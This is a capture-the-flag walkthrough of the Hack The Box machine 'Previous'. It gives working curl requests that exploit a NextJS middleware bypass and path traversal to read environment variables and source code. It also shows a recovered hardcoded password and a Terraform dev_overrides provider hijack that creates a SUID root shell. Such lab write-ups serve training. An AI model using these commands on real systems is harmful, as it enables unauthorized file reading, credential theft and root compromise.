Introduction : Analyzing the ‘Previous’ HTB Machine
“Previous” is a Linux machine from Hack The Box that perfectly illustrates how modern vulnerabilities can be chained together for a full compromise. We will cover key techniques such as exploiting a Local File Inclusion (LFI) vulnerability in a NextJS framework, and a creative method for privilege escalation via a Terraform misconfiguration.
Phase 1 : Reconnaissance and Enumeration
Every successful attack begins with thorough reconnaissance. Our first step is an nmap
scan to identify open ports and running services on the target machine.
nmap -sC -sV 10.10.11.83
The scan reveals an Nginx web server on port 80. To access the website, it’s essential to add previous.htb
to our /etc/hosts
file. Analyzing the site shows a simple login page, but more importantly, that it’s developed with NextJS. A potential username, jeremy
, is also found in a contact email.
A hidden directory search with gobuster
is launched to find any non-obvious entry points.
gobuster dir -u http://previous.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
Since this search yields nothing, and an attempt to create an account via the API fails, it’s time to focus on the biggest lead : a potential vulnerability in the NextJS framework.
Phase 2 : Initial Access via Path Traversal (LFI) Vulnerability
With our initial enumeration hitting a dead end, the focus shifts entirely to the NextJS framework. Research into known vulnerabilities reveals a promising candidate : CVE-2025-29927. This specific flaw describes a Path Traversal vulnerability affecting misconfigured NextJS applications. If the conditions are met, it allows an attacker to read arbitrary files on the server by manipulating specific API routes. This is our golden ticket for initial access.
Step 1 : Confirming the LFI
We confirm the vulnerability by trying to read the /proc/self/environ
file, which contains the environment variables of the server process. This is an excellent technique to validate an LFI without requiring special permissions.
curl -s "http://previous.htb/api/download?example=../../../../../../proc/self/environ" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
| tr '\0' '\n'
The command succeeds and displays the variables, confirming our control over the file path. We also note that the working directory is PWD=/app
.
Step 2 : Exfiltrating Source Code to Find Credentials
With the LFI confirmed, our goal is to read the application’s source code to understand its authentication logic. We use the flaw to retrieve routes-manifest.json
, which acts as a route map for the NextJS application.
curl -s "http://previous.htb/api/download?example=../../../../../../app/.next/routes-manifest.json" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
This manifest reveals the path to the authentication code : /app/.next/server/pages/api/auth/[...nextauth].js
. We exfiltrate it by URL-encoding the brackets ([]
-> %5B%5D
) :
curl -s "http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
Analyzing the minified JavaScript code reveals the authorize
function with a fallback password logic :
authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null
The password is MyNameIsJeremyAndILovePancakes
if the ADMIN_SECRET
environment variable is not set, which we have already confirmed. We have our credentials : jeremy:MyNameIsJeremyAndILovePancakes
.
Step 2.5 : Attempting Web Authentication
With the credentials in hand, the most logical first step is to attempt an authentication through the web interface. The application’s authentication flow directs us to the following endpoint : http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
.
However, after a successful login, the /docs
page reveals no sensitive information or further attack vectors. This path appears to be a dead end. It’s time to pivot our strategy and see if these credentials can be used elsewhere. Recalling our initial nmap
scan, port 22 was open.
Step 3 : SSH Connection
These credentials allow us to connect directly to the machine via SSH, giving us our initial foothold.
ssh jeremy@previous.htb
We now have a shell and can capture the user.txt
flag.
Phase 3 : Root Privilege Escalation via Terraform
Our final goal is to become root
. The first command to run is sudo -l
to check our permissions.
sudo -l
The user jeremy
can run Terraform as root
(sudo /usr/bin/terraform -chdir=/opt/examples apply
). This is an dangerous configuration and our express lane to privilege escalation.
The main.tf
configuration file in /opt/examples
uses a custom “provider”. We will hijack this call using Terraform’s dev_overrides
feature, which is designed for development but is often a source of vulnerabilities.
Step 1 : Create a Malicious Terraform Provider
We create a fake provider, which is actually a simple shell script. This script will copy the bash
binary, place it in /usr/local/bin
, and assign it the SUID bit. A SUID binary runs with the permissions of its owner (in this case, root
).
mkdir -p ~/dev-plugins
cat > ~/dev-plugins/terraform-provider-examples_v1.0.0 <<'EOF'
#!/bin/sh
cp /bin/bash /usr/local/bin/bashroot
chmod 4755 /usr/local/bin/bashroot
exit 1
EOF
chmod +x ~/dev-plugins/terraform-provider-examples_v1.0.0
Step 2 : Hijack the Provider Call
We configure Terraform to use our local script instead of the official provider by creating a ~/.terraformrc
file.
cat > ~/.terraformrc <<'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/home/jeremy/dev-plugins"
}
direct {
exclude = ["previous.htb/terraform/examples"]
}
}
EOF
Step 3 : Trigger the Exploit and Become Root
Everything is in place. We execute the allowed sudo
command.
sudo /usr/bin/terraform -chdir=/opt/examples apply
Terraform fails with errors, but this is irrelevant. Our script has already been executed with root
privileges before the failure. The /usr/local/bin/bashroot
binary is now a SUID root shell.
We execute it to get a final root
shell.
/usr/local/bin/bashroot -p
whoami
We have achieved our final objective. The root.txt
flag is ours.
Thank you for following this guide !